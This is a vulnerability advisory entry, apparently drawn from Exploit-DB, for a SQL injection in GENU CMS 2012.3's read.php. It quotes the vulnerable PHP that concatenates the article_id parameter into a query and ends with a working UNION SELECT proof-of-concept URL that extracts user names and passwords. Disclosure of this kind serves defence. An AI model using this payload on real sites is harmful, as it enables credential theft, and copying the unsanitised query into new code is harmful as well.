GENU CMS SQL Injection Vulnerability

vendor:

GENU CMS

by:

h0rd

CVSS

HIGH

SQL Injection

CWE

Product Name: GENU CMS

Affected Version From: GENU CMS 2012.3

Affected Version To: GENU CMS 2012.3

Patch Exists: YES

Related CWE: CVE-2012-4456

CPE: cpe:a:genu:genu_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2012

GENU CMS SQL Injection Vulnerability

GENU CMS is vulnerable to a SQL injection vulnerability due to improper sanitization of user-supplied input in the 'article_id' parameter of the 'read.php' script. An attacker can exploit this vulnerability to gain access to the application's database, including sensitive information such as usernames and passwords.

Mitigation:

To mitigate this vulnerability, the application should properly sanitize user-supplied input before using it in a SQL query.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
GENU CMS SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by h0rd h0rd[at]null.net
homepage http://h0rd.net
download http://www.gnew.fr/pages/download.php?file=GENU-2012.3.tar.gz
vulnerability in read.php
vuln code:
[...]
include('./../includes/common.php');

page_header($lang['ARTICLES_READ_TITLE']);

if (isset($_GET['article_id']))
{
    $sql->query('SELECT ' . TABLE_ARTICLES . '.article_date, ' . TABLE_ARTICLES . '.article_subject, ' . TABLE_ARTICLES . '.article_text, ' . TABLE_USERS . '.user_id, ' . TABLE_USERS . '.user_name
                 FROM ' . TABLE_ARTICLES . ', ' . TABLE_USERS . '
                 WHERE ' . TABLE_ARTICLES . '.user_id = ' . TABLE_USERS . '.user_id
                 AND ' . TABLE_ARTICLES . '.article_id = ' . $_GET['article_id']);
    $table_articles = $sql->fetch();
[...]

PoC exploit:
http://[host]/articles/read.php?article_id=null union select 1,concat(user_name,0x3a,0x3a,0x3a,user_password),3,4,5 from genu_users--